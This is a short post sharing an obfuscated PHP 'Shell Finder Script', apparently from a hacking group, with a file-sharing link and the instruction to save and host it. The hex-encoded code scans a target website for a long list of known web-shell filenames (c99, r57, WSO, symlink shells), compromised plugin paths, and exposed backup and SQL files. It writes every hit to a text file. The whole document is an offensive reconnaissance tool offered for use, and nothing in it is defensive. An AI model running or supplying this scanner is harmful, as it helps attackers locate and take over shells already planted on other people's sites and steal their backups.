Shell Finder Script

https://www.sendspace.com/file/lck9u4

<?php ${"GL\x4fB\x41LS"}["\x79y\x69\x79\x6c\x6a"]="he\x61\x64\x65\x72s";echo "<\x68\x65\x61d\x3e\n\x3cc\x65n\x74er>\n\x3cti\x74l\x65\x3e[\x73\x34s]\x20\x23P\x72o\x63o\x64er'z Team\x20\x41lb\x61n\x69\x61\x6e</\x74\x69tle>\n<STYLE\x3e\nt\x65\x78ta\x72\x65a{\x62ac\x6b\x67\x72\x6f\x75\x6e\x64-\x63\x6f\x6c\x6f\x72:#1\x305700;\x63\x6f\x6co\x72:\x6ci\x6d\x65\x3bf\x6fnt-weig\x68t:\x62\x6f\x6c\x64;f\x6fn\x74-\x73i\x7ae: \x320px\x3b\x66\x6fn\x74-\x66\x61mil\x79:\x20T\x61hom\x61;\x20\x62or\x64er:\x20\x31p\x78 s\x6f\x6c\x69d\x20\x2300\x300\x30\x30\x3b}\n\x69\x6e\x70ut{\x46O\x4eT-\x57\x45I\x47H\x54:no\x72m\x61\x6c;b\x61\x63\x6b\x67ro\x75n\x64-\x63\x6flor: #\x3105\x37\x30\x30;f\x6f\x6e\x74-\x73\x69\x7a\x65:\x201\x35\x70x;\x66ont-\x77\x65\x69ght:b\x6f\x6cd;\x63\x6f\x6c\x6f\x72:\x20\x6cime; f\x6fnt-\x66\x61m\x69\x6cy: \x54\x61\x68\x6f\x6da; b\x6f\x72\x64er: \x31p\x78 \x73ol\x69d\x20#6\x36\x36\x36\x366\x3bh\x65i\x67h\x74:20}\nbo\x64y {\nfo\x6et-\x66\x61m\x69\x6cy: \x54\x61\x68\x6fm\x61\n}\n\x74r {\n\x42\x4f\x52DE\x52:\x20dash\x65\x64 1\x70\x78 \x23333\x3b\n\x63o\x6c\x6f\x72: #FFF\x3b\n}\n\x74\x64\x20{\nBO\x52\x44ER: \x64\x61\x73hed\x201p\x78\x20\x23\x333\x33;\n\x63\x6fl\x6fr: #F\x46\x46\x3b\n}\n\x2e\x74\x61\x62\x6ce\x31 {\n\x42\x4fRDER:\x20\x30px\x20\x42la\x63\x6b;\nBA\x43\x4bGROUN\x44-\x43OLO\x52: \x42l\x61\x63\x6b\x3b\n\x63o\x6co\x72:\x20\x23F\x46F\x3b\n}\n\x2etd1 {\nB\x4f\x52\x44\x45\x52: 0\x70\x78;\n\x42\x4fRD\x45\x52-CO\x4cO\x52:\x20#3\x33\x33\x33\x333;\n\x66\x6fnt:\x20\x37\x70\x74 V\x65\x72\x64\x61\x6e\x61;\n\x63\x6flo\x72: G\x72\x65\x65\x6e\x3b\n}\n\x2et\x72\x31 {\n\x42\x4f\x52DE\x52: 0\x70x;\n\x42\x4f\x52DER-\x43\x4f\x4cO\x52: \x23\x333\x33\x33\x333;\n\x63\x6fl\x6fr:\x20#\x46F\x46\x3b\n}\nt\x61bl\x65\x20{\n\x42O\x52\x44E\x52: \x64\x61s\x68\x65d\x201\x70\x78 #3\x333;\n\x42O\x52\x44E\x52-COL\x4f\x52:\x20#333333;\n\x42\x41\x43KGRO\x55N\x44-C\x4f\x4cOR:\x20B\x6c\x61\x63k\x3b\n\x63ol\x6f\x72: \x23F\x46F;\n}\ni\x6ep\x75t {\n\x62\x6frder\t\t\t:\x20\x64\x61s\x68e\x64\x201px;\n\x62\x6f\x72\x64\x65\x72-\x63ol\x6fr\t\t:\x20\x2333\x33\x3b\nB\x41\x43\x4b\x47ROUN\x44-CO\x4c\x4fR:\x20\x42la\x63\x6b;\n\x66on\x74: 8pt\x20\x56\x65\x72\x64\x61\x6ea\x3b\n\x63\x6f\x6c\x6f\x72:\x20\x52\x65\x64\x3b\n}\n\x73\x65le\x63t {\n\x42\x4fR\x44\x45\x52-R\x49\x47H\x54:\x20 \x42\x6c\x61\x63\x6b\x201\x70x\x20s\x6f\x6ci\x64\x3b\n\x42ORD\x45R-T\x4fP:    \x23DF0000 \x31p\x78\x20\x73o\x6c\x69\x64\x3b\nB\x4fRDER-\x4cE\x46\x54:\x20 \x20#D\x46000\x30\x20\x31\x70\x78 \x73\x6flid;\n\x42O\x52\x44\x45R-\x42OT\x54O\x4d: B\x6c\x61\x63k 1p\x78 s\x6f\x6c\x69d\x3b\n\x42\x4fR\x44\x45R-\x63olor:\x20#FF\x46\x3b\n\x42\x41\x43K\x47R\x4f\x55ND-\x43\x4fLOR:\x20B\x6cac\x6b\x3b\n\x66\x6fnt: \x38\x70t \x56\x65r\x64\x61\x6e\x61;\n\x63o\x6co\x72: Red\x3b\n}\n\x73\x75b\x6d\x69t {\nBO\x52\x44E\x52:  b\x75tto\x6eh\x69\x67h\x6c\x69g\x68\x74 2\x70\x78\x20\x6fu\x74\x73e\x74;\nBA\x43KGR\x4fUND-\x43\x4fL\x4fR: Bl\x61\x63k\x3b\n\x77id\x74h:\x20\x330%;\ncolo\x72: #FFF;\n}\n\x74\x65\x78tare\x61 {\nbo\x72\x64\x65\x72\t\t\t: da\x73h\x65d 1px \x23\x333\x33;\nBACKG\x52OUN\x44-COLO\x52: \x42la\x63\x6b;\nf\x6f\x6e\x74:\x20Fixe\x64sy\x73 b\x6f\x6cd;\ncolo\x72: \x23\x3999;\n}\n\x42OD\x59\x20{\n\t\x53CROLLBA\x52-FAC\x45-CO\x4c\x4fR: \x42l\x61\x63\x6b\x3b \x53CRO\x4cL\x42AR-\x48I\x47H\x4cIGH\x54-col\x6f\x72:\x20\x23\x46FF\x3b\x20S\x43\x52\x4f\x4cLB\x41\x52-S\x48\x41DOW-co\x6co\x72:\x20#\x46F\x46\x3b\x20\x53CROLL\x42\x41R-\x33\x44L\x49GH\x54-\x63\x6fl\x6fr:\x20\x23F\x46F\x3b\x20SC\x52\x4fLLBAR-ARRO\x57-CO\x4cO\x52:\x20B\x6c\x61\x63\x6b\x3b \x53CR\x4fL\x4c\x42AR-\x54\x52\x41\x43\x4b-\x63\x6flor:\x20\x23\x46\x46F\x3b\x20\x53C\x52\x4f\x4cLB\x41\x52-\x44\x41RKS\x48\x41DOW-\x63ol\x6f\x72:\x20\x23F\x46\x46\nmar\x67i\x6e: \x31p\x78\x3b\n\x63\x6f\x6cor: \x52\x65\x64\x3b\nb\x61\x63k\x67r\x6f\x75n\x64-\x63\x6flor:\x20\x42la\x63k;\n}\n\x2emain\x20{\nm\x61r\x67\x69n\t\t\t: -28\x37\x70\x78 \x30px\x200px -\x34\x390px\x3b\n\x42OR\x44\x45\x52:\x20d\x61she\x64\x201p\x78\x20\x23333;\n\x42O\x52\x44E\x52-COLO\x52: #\x33\x33\x33\x33\x333;\n}\n.\x74t\x20{\nback\x67r\x6f\x75n\x64-c\x6f\x6c\x6f\x72: \x42\x6cack\x3b\n}\n\n\x41:\x6c\x69\x6ek\x20{\n\t\x43\x4f\x4c\x4fR:\x20\x57hi\x74\x65\x3b\x20TEX\x54-D\x45\x43ORAT\x49\x4f\x4e: \x6eon\x65\n}\nA:v\x69sited {\n\tC\x4f\x4cO\x52: \x57\x68\x69\x74\x65\x3b\x20T\x45X\x54-\x44\x45\x43\x4f\x52AT\x49O\x4e: \x6eone\n}\n\x41:h\x6fv\x65\x72 {\n\t\x63\x6f\x6cor:\x20Re\x64\x3b TE\x58\x54-D\x45\x43\x4fRA\x54ION: \x6e\x6f\x6ee\n}\n\x41:a\x63ti\x76\x65\x20{\n\tc\x6fl\x6f\x72:\x20Re\x64\x3b\x20TEXT-\x44\x45\x43\x4f\x52AT\x49\x4fN:\x20n\x6f\x6ee\n}\n</\x53T\x59LE\x3e\n\x3cs\x63\x72\x69p\x74\x20\x6ca\x6egu\x61\x67e=\\'\x6aav\x61s\x63r\x69\x70\x74\\\x27\x3e\n\x66u\x6e\x63\x74io\x6e \x68id\x65\x5fd\x69v(\x69d)\n{\n\x20\x20\x64\x6f\x63ument\x2ege\x74\x45l\x65m\x65n\x74\x42\x79I\x64(\x69d).\x73t\x79l\x65.d\x69sp\x6ca\x79 \x3d\x20\x5c'n\x6f\x6e\x65\\'\x3b\n\x20\x20d\x6f\x63u\x6d\x65n\x74\x2e\x63\x6foki\x65=\x69\x64+\x5c\x27\x3d0\x3b\x5c\x27;\n}\nf\x75nc\x74ion\x20\x73h\x6fw_d\x69\x76(\x69d)\n{\n \x20docum\x65\x6et.\x67\x65t\x45le\x6de\x6e\x74B\x79\x49d(i\x64).\x73t\x79l\x65.\x64\x69sp\x6ca\x79\x20\x3d \\\x27bl\x6fc\x6b\x5c\x27\x3b\n\x20 \x64o\x63\x75me\x6e\x74\x2ecoo\x6bie\x3d\x69\x64+\x5c'=\x31\x3b\\';\n}\nfu\x6ec\x74\x69o\x6e \x63\x68\x61nge_d\x69v\x73t(\x69d)\n{\n\x20\x20i\x66\x20(\x64\x6f\x63u\x6d\x65n\x74.ge\x74\x45\x6ce\x6d\x65\x6etBy\x49\x64(\x69\x64)\x2es\x74\x79le\x2edi\x73\x70l\x61y \x3d= \\'n\x6f\x6e\x65\\\x27)\n\x20 \x20 \x73\x68\x6fw_\x64\x69\x76(\x69\x64)\x3b\n\x20\x20\x65l\x73e\n  \x20 \x68\x69\x64e\x5f\x64\x69v(\x69\x64)\x3b\n}\n\x3c/\x73cr\x69pt></\x73tyle\x3e\n\x3c/\x68ea\x64>\n\x3c\x62\x6f\x64y>\n\x3cf\x6frm \x6de\x74h\x6f\x64=\x22\x50O\x53T\">\n\x3c/\x66\x6f\x72m\x3e<c\x65\x6e\x74e\x72>\n<\x66\x6f\x72\x6d\x20\x61\x63\x74\x69\x6fn\x3d\x22\x22 \x6detho\x64\x3d\x22\x70o\x73\x74\x22\x3e\n\x3c\x69\x6dg\x20s\x72c\x3d\x22h\x74\x74p://\x69\x2e\x69mgu\x72\x2ec\x6f\x6d/\x72K\x53f\x37.p\x6e\x67\x22\x3e\n\x3c\x69\x6eput \x6ea\x6d\x65\x3d\x22\x74rage\x74\"\x20t\x79\x70\x65\x3d\"t\x65\x78t\" si\x7ae\x3d\"\x31\x30\x30\"\x20va\x6cue=\"\x68\x74t\x70://\x77\x77\x77.\x73ite.c\x6fm/\x22/><b\x72\x3e\n\x3c\x69\x6e\x70ut\x20name\x3d\x22s\x63\x61\x6e\x22\x20\x73\x69\x7a\x65\x3d\"100\x22 \x76\x61\x6c\x75\x65=\x22\x53\x74\x61\x72\x74 Sc\x61n\x69n\x67\" t\x79\x70e=\x22submi\x74\">\n\x3c/\x66\x6f\x72\x6d\x3e\n";${"G\x4cO\x42AL\x53"}["y\x74v\x71\x6f\x6af"]="\x75\x72\x6c";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x75\x6eis\x63\x67l\x74y"]="\x73\x68e\x6cls";set_time_limit(0);if(isset($_POST["\x73c\x61n"])){${"\x47\x4c\x4f\x42A\x4c\x53"}["h\x73\x7a\x67\x6d\x61l\x6f\x74"]="\x75r\x6c";${${"G\x4cO\x42AL\x53"}["y\x74\x76\x71\x6f\x6a\x66"]}=$_POST["\x74\x72\x61get"];${"\x47L\x4fBA\x4c\x53"}["\x74\x67\x67\x69\x6ab\x71\x69o\x67\x6c"]="she\x6cl\x73";echo"<s\x70\x61n\x20\x63la\x73s='sta\x72\x74\x27>\x53\x63a\x6en\x69ng ".${${"\x47\x4c\x4f\x42A\x4cS"}["\x68\x73\x7a\x67mal\x6ft"]}."\x20[\x7e]</\x73\x70a\x6e\x3e\x3cb\x72\x3e";echo"\x52\x65s\x75lts :<b\x72/>";${${"\x47\x4c\x4fBA\x4c\x53"}["\x74\x67g\x69jbq\x69\x6f\x67\x6c"]}=array("W\x53\x4f.\x70hp","d\x7a.\x70\x68\x70","c\x70\x61n\x65\x6c.p\x68p","c\x70\x6e\x2ep\x68\x70","\x73ql.\x70\x68p","mysq\x6c\x2ephp","m\x61\x64\x73p\x6f\x74\x2e\x70h\x70","c\x70\x2ep\x68p","\x63p\x62t.p\x68p","\x73\x59m.php","\x78\x2ep\x68p","\x7299.p\x68p","\x6c\x6fl\x2e\x70h\x70","j\x6f.p\x68p","\x77\x70\x2e\x70\x68\x70","wh\x6dc\x73.\x70h\x70","sh\x65\x6c\x6c\x7a.\x70\x68p","\x640\x6dai\x6e\x2ephp","\x64\x30\x6d\x61i\x6e\x73.\x70hp","\x75\x73\x65\x72\x73\x2e\x70\x68p","Cgi\x73\x68\x65ll.\x70\x6c","ki\x6cler\x2eph\x70","ch\x61\x6eg\x65all\x2e\x70\x68p","2.\x70\x68\x70","Sh3\x6cl.p\x68\x70","\x64z0.php","\x64\x61m\x2ep\x68p","us\x65\x72.\x70\x68\x70","dom\x2e\x70\x68\x70","w\x68mc\x73\x2ep\x68\x70","vb.z\x69p","\x72\x300\x74.\x70h\x70","\x6399.p\x68p","\x67\x61\x7a\x61.p\x68p","\x31\x2e\x70h\x70","\x77\x70\x2ez\x69\x70"."w\x70-co\x6e\x74\x65n\x74/\x70\x6c\x75\x67ins/\x64i\x73\x71\x75s-co\x6dm\x65n\x74-syst\x65\x6d/\x64\x69\x73\x71u\x73\x2e\x70h\x70","\x64\x30\x6dains\x2e\x70\x68\x70","w\x70-\x63\x6f\x6e\x74e\x6et/\x70lu\x67i\x6es/\x61k\x69s\x6d\x65t/ak\x69\x73m\x65t\x2e\x70hp","ma\x64sp\x6f\x74\x73\x68\x65l\x6c.p\x68\x70","Sym\x2e\x70\x68p","c22\x2ep\x68p","\x63100\x2ephp","wp-\x63\x6f\x6et\x65\x6e\x74/\x70lu\x67\x69\x6e\x73/\x61k\x69\x73me\x74/\x61d\x6d\x69\x6e\x2ephp\x23","w\x70-\x63\x6f\x6ete\x6e\x74/plu\x67\x69\x6e\x73/\x67\x6fo\x67\x6c\x65-si\x74e\x6da\x70-\x67\x65ne\x72ator/site\x6d\x61p-\x63\x6fre.\x70h\x70#","wp-\x63\x6f\x6e\x74en\x74/\x70\x6cu\x67i\x6e\x73/\x61ki\x73me\x74/w\x69\x64ge\x74\x2ep\x68p\x23","\x43panel.\x70\x68\x70","zo\x6e\x65-\x68\x2e\x70hp","tmp/us\x65\x72.php","t\x6d\x70/\x53\x79m.\x70h\x70","c\x70\x2e\x70\x68p","\x74m\x70/m\x61\x64\x73\x70o\x74s\x68\x65ll\x2ep\x68\x70","\x74\x6d\x70/\x72oo\x74\x2eph\x70","\x74\x6d\x70/w\x68mc\x73.\x70hp","\x74\x6d\x70/\x69\x6e\x64\x65\x78\x2eph\x70","\x74\x6dp/2\x2ep\x68\x70","t\x6d\x70/dz.p\x68\x70","t\x6dp/c\x70\x6e\x2e\x70\x68\x70","t\x6dp/change\x61l\x6c.\x70h\x70","\x74\x6dp/Cg\x69\x73h\x65ll.pl","\x74m\x70/\x73\x71\x6c\x2ep\x68\x70","t\x6dp/\x61\x64\x6d\x69n.\x70h\x70","client\x65/\x64\x6fw\x6el\x6fa\x64\x73/\x68\x34\x78or\x2ep\x68p","\x77h\x6d\x63\x73/\x64o\x77\x6elo\x61\x64\x73/\x64\x7a.\x70\x68\x70","\x4c\x33b.p\x68\x70","d\x2e\x70h\x70","\x74\x6d\x70/d.\x70\x68p","t\x6d\x70/\x4c\x33\x62\x2e\x70\x68\x70","\x77p-c\x6f\x6et\x65nt/\x70l\x75\x67\x69n\x73/a\x6bis\x6det/\x61\x64\x6d\x69\x6e\x2ep\x68\x70","\x74\x65m\x70l\x61\x74es/\x72h\x75k_\x6d\x69\x6cky\x77ay/\x69n\x64\x65x\x2ephp","t\x65\x6dplates/be\x65z/\x69\x6ed\x65\x78\x2e\x70h\x70","\x61\x64\x6d\x69\x6e1.p\x68p","up\x6coa\x64\x2ep\x68p","up.\x70h\x70","vb\x2e\x7ai\x70","\x76\x62.rar","a\x64m\x69\x6e\x32.\x61s\x70","uploa\x64\x73\x2ephp","\x73\x61.ph\x70","\x73\x79\x73\x61\x64mins/","ad\x6di\x6e\x31/","\x61d\x6d\x69n\x69\x73t\x72a\x74i\x6f\x6e/Sy\x6d.php","ima\x67\x65s/\x53ym.p\x68\x70","/\x72\x35\x37.php","/w\x70-conte\x6et/\x70\x6c\x75\x67\x69\x6es/d\x69s\x71\x75s-\x63\x6f\x6d\x6de\x6et-sy\x73\x74e\x6d/\x64i\x73\x71u\x73.\x70hp","/s\x68\x65\x6cl.\x70hp","/\x73a\x2ep\x68p","/\x61d\x6d\x69\x6e\x2e\x70h\x70","/sa\x32\x2e\x70h\x70","/\x32.p\x68p","/g\x61\x7aa\x2e\x70h\x70","/u\x70\x2ep\x68p","/\x75\x70\x6coad.ph\x70","/up\x6c\x6f\x61\x64\x73\x2ephp","/t\x65\x6dpla\x74\x65s/be\x65\x7a/ind\x65x.ph\x70","\x73\x68\x65ll\x2ep\x68\x70","/\x61\x6d\x61\x64\x2ep\x68\x70","/t0\x30\x2e\x70\x68p","/\x64z\x2ep\x68p","/\x73\x69\x74\x65.\x72ar","/\x42\x6ca\x63\x6b.\x70\x68p","/s\x69\x74e\x2et\x61r.\x67z","/ho\x6d\x65.z\x69\x70","/\x68\x6fme.r\x61r","/h\x6f\x6d\x65.t\x61\x72","/\x68\x6fm\x65\x2etar\x2e\x67z","/\x66\x6fr\x75\x6d\x2e\x7aip","/\x66\x6f\x72u\x6d.\x72ar","/fo\x72\x75\x6d.\x74ar","/foru\x6d\x2et\x61r.\x67z","/\x74\x65\x73\x74.t\x78t","/\x66\x74p\x2e\x74\x78t","/u\x73\x65\x72\x2e\x74xt","/\x73it\x65.\x74\x78t","/er\x72\x6f\x72_log","/er\x72\x6f\x72","/\x63pa\x6e\x65\x6c","/aw\x73t\x61t\x73","/\x73i\x74\x65\x2es\x71l","/v\x62\x2e\x73q\x6c","/\x66orum\x2es\x71\x6c","/\x62a\x63\x6b\x75\x70\x2esq\x6c","/\x62\x61c\x6b\x2esql","/\x64\x61ta.\x73q\x6c","w\x70.ra\x72/","w\x70-con\x74\x65nt/\x70lu\x67\x69ns/\x64is\x71\x75s-\x63\x6f\x6d\x6d\x65nt-\x73\x79st\x65\x6d/d\x69squ\x73\x2e\x70h\x70","as\x70.as\x70x","/t\x65m\x70\x6c\x61t\x65s/b\x65e\x7a/\x69n\x64\x65x\x2e\x70\x68p","\x74\x6dp/\x76\x61\x67a\x2e\x70\x68p","\x74m\x70/ki\x6cle\x72\x2ep\x68p","\x77hmc\x73\x2e\x70\x68\x70","t\x6d\x70/\x6bi\x6cl\x65\x72.p\x68\x70","t\x6dp/\x64om\x61i\x6ee.\x70l","t\x6d\x70/\x64om\x61\x69\x6ee.\x70\x68p","\x75s\x65\x72admi\x6e/","\x74\x6dp/\x640m\x61\x69\x6ee.p\x68\x70","\x64\x30\x6da\x69ne.\x70\x68p","t\x6d\x70/s\x71l\x2e\x70\x68p","tm\x70/d\x7a1.\x70\x68p","dz1\x2ep\x68p","\x66\x6f\x72\x75m.zip","\x53y\x6d\x6ci\x6ek.\x70\x68\x70","Symlink\x2epl","f\x6f\x72\x75m\x2erar","j\x6fo\x6dl\x61\x2ezip","j\x6f\x6f\x6dl\x61.r\x61r","\x77p.\x70h\x70","\x62u\x63\x6b\x2e\x73\x71l","sysadm\x69n.\x70h\x70","ima\x67e\x73/c9\x39.\x70hp","x\x64.\x70h\x70","c10\x30\x2e\x70\x68\x70","s\x70\x79\x2e\x61s\x70x","xd\x2e\x70\x68\x70","t\x6d\x70/x\x64\x2ep\x68\x70","sy\x6d/\x72o\x6ft/\x68om\x65/","\x62i\x6c\x6ci\x6e\x67/ki\x6c\x6ce\x72.ph\x70","tm\x70/upl\x6fad\x2ep\x68\x70","t\x6d\x70/\x61dm\x69\x6e.p\x68p","\x53erv\x65r\x2e\x70hp","\x74\x6d\x70/u\x70l\x6f\x61\x64s.\x70\x68\x70","\x74\x6dp/\x75\x70\x2e\x70\x68\x70","\x53er\x76e\x72/","w\x70-adm\x69\x6e/c9\x39\x2e\x70\x68p","t\x6dp/p\x72iv8.p\x68\x70","\x70\x72i\x768.\x70hp","cgi\x2ep\x6c/","tm\x70/c\x67\x69\x2e\x70\x6c","dow\x6e\x6c\x6f\x61\x64s/dom\x2ephp","t\x65\x6dplates/j\x61-helio-farsi/i\x6ede\x78.\x70h\x70","w\x65b\x61\x64\x6di\x6e.ht\x6d\x6c","\x61d\x6dins.\x70\x68p","/\x77\x70-c\x6f\x6et\x65nt/\x70lu\x67\x69n\x73/co\x75\x6e\x74-\x70\x65\x72-\x64\x61\x79/\x6as/yc/\x64\x30\x30\x2e\x70h\x70","adm\x69ns/","a\x64\x6di\x6e\x73.\x61sp","a\x64\x6d\x69ns.p\x68p","w\x70\x2ezip");$zzppivj="\x73hel\x6c";foreach(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["lu\x6ei\x73\x63g\x6c\x74\x79"]} as${$zzppivj}){${"\x47L\x4fBA\x4c\x53"}["\x74\x74\x73\x73x\x73\x78"]="\x68\x65ad\x65\x72s";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x74t\x73\x73xs\x78"]}=get_headers("$url$shell");if(eregi("2\x300",${${"GLO\x42\x41\x4c\x53"}["\x79\x79i\x79\x6c\x6a"]}[0])){$jbynelvx="dz";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x64rc\x64\x77\x69\x62\x67\x67k"]="d\x7a";${"GLOBA\x4c\x53"}["a\x67\x62m\x70f\x73"]="s\x75ck";$skoaoqmgf="\x73\x75\x63\x6b";echo"<\x61\x20\x68r\x65f\x3d\x27$url$shell'>$url$shell\x3c/a\x3e <sp\x61n\x20c\x6ca\x73s\x3d\x27fou\x6e\x64\x27>\x53\x68e\x6cl \x46\x6fund\x3cb\x72\x3e\x3c/\x73\x70a\x6e>";${${"\x47L\x4f\x42\x41LS"}["\x64r\x63\x64\x77i\x62\x67\x67\x6b"]}=fopen("s\x68\x65\x6cls-goe\x73-\x68\x65r\x65\x2e\x74xt","a+");${$skoaoqmgf}="$url$shell";fwrite(${$jbynelvx},${${"\x47\x4cO\x42A\x4cS"}["\x61\x67\x62\x6d\x70\x66s"]}."\n");}}echo"<\x73\x70\x61\x6e clas\x73='\x23P\x72\x6fco\x64e\x72\x27\x7a\x20T\x65a\x6d\x27>You \x57i\x6cl \x46\x69nd Shel\x6c'\x7a h\x65re [ \x3c\x61\x20\x68r\x65\x66=\x27\x2e/she\x6cl\x73\x2e\x74\x78t\x27 tar\x67e\x74\x3d\x27_\x62l\x61nk\x27\x3eshe\x6cl\x73-g\x6f\x65\x73-h\x65r\x65\x2e\x74x\x74\x3c/\x61\x3e ]</span\x3e";}echo "</c\x65\x6et\x65r>\n</bo\x64\x79\x3e\n</\x68t\x6dl>\n";
?>

save as .php and host